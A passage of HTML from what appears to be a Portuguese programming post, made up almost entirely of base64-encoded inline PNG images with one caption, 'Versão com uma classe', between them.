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" style="text-align: left;" /></p><p><b>Versão com uma classe</b></p><p style="text-align: center;"><img alt="" src="data:image/png;base64,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